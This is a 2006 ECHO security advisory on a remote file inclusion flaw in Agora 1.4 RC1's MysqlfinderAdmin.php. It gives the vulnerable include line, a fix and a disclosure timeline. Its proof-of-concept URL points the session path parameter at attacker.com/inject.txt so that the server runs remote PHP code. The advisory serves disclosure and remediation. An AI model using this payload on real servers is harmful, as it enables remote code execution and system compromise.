Echo Security Advisory 2006.59

`____________________ ___ ___ ________  
\_ _____/\_ ___ \ / | \\_____ \  
| __)_ / \ \// ~ \/ | \  
| \\ \___\ Y / | \  
/_______ / \______ /\___|_ /\_______ /  
\/ \/ \/ \/ .OR.ID  
ECHO_ADV_59$2006  
  
-----------------------------------------------------------------------------------------------  
[ECHO_ADV_59$2006]Agora 1.4 RC1 "$_SESSION[PATH_COMPOSANT]" Remote File Inclusion Vulnerability  
-----------------------------------------------------------------------------------------------  
  
Author : Dedi Dwianto a.k.a the_day  
Date Found : November, 01nd 2006  
Location : Indonesia, Jakarta  
web : http://advisories.echo.or.id/adv/adv59-theday-2006.txt  
Critical Lvl : Highly critical  
Impact : System access  
Where : From Remote  
---------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : Agora  
version : 1.4 RC1  
URL : http://www.agora.gouv.fr  
  
Based on the free software Spip, Agora is a free software of management of contents for   
Internet developed in php, which makes it possible to put in place and to manage quickly   
and with lower cost of the Internet sites, Intranet or extranet.  
---------------------------------------------------------------------------  
  
Vulnerability:  
~~~~~~~~~~~~~  
  
I found vulnerability in modules/Mysqlfinder/MysqlfinderAdmin.php  
--------------------------modules/Mysqlfinder/MysqlfinderAdmin.php----------  
....  
<?  
include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")  
...  
----------------------------------------------------------  
  
Input passed to the "$_SESSION["PATH_COMPOSANT"]" parameter in Mysqlfinder.php is not  
properly verified before being used. This can be exploited to execute  
arbitrary PHP code by including files from local or external  
resources.  
  
  
  
Proof Of Concept:  
~~~~~~~~~~~~~~  
  
http://target.com/[agora-1.4-path]/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=http://attacker.com/inject.txt?  
  
  
Solution:  
~~~~~~  
  
- Insert new line code :  
...  
include_once 'MysqlfinderParam.inc';  
...  
  
Before include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")  
  
- Turn off register_globals  
- Turn off display_error to Hide Full Path Error  
  
Timeline :  
~~~~~~~~  
  
01 - 11 - 2006 bugs found  
01 - 11 - 2006 vendor contacted  
07 - 11 - 2006 public disclosure  
  
---------------------------------------------------------------------------  
  
Shoutz:  
~~  
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous  
~ Jessy My Brain  
~ az001,bomm_3x,matdhule,angelia  
~ [email protected]  
~ #aikmel - #e-c-h-o @irc.dal.net  
------------------------------------------------------------------------  
---  
Contact:  
~~~  
EcHo Research & Development Center  
the_day[at]echo[dot]or[dot]id  
  
-------------------------------- [ EOF ]----------------------------------  
`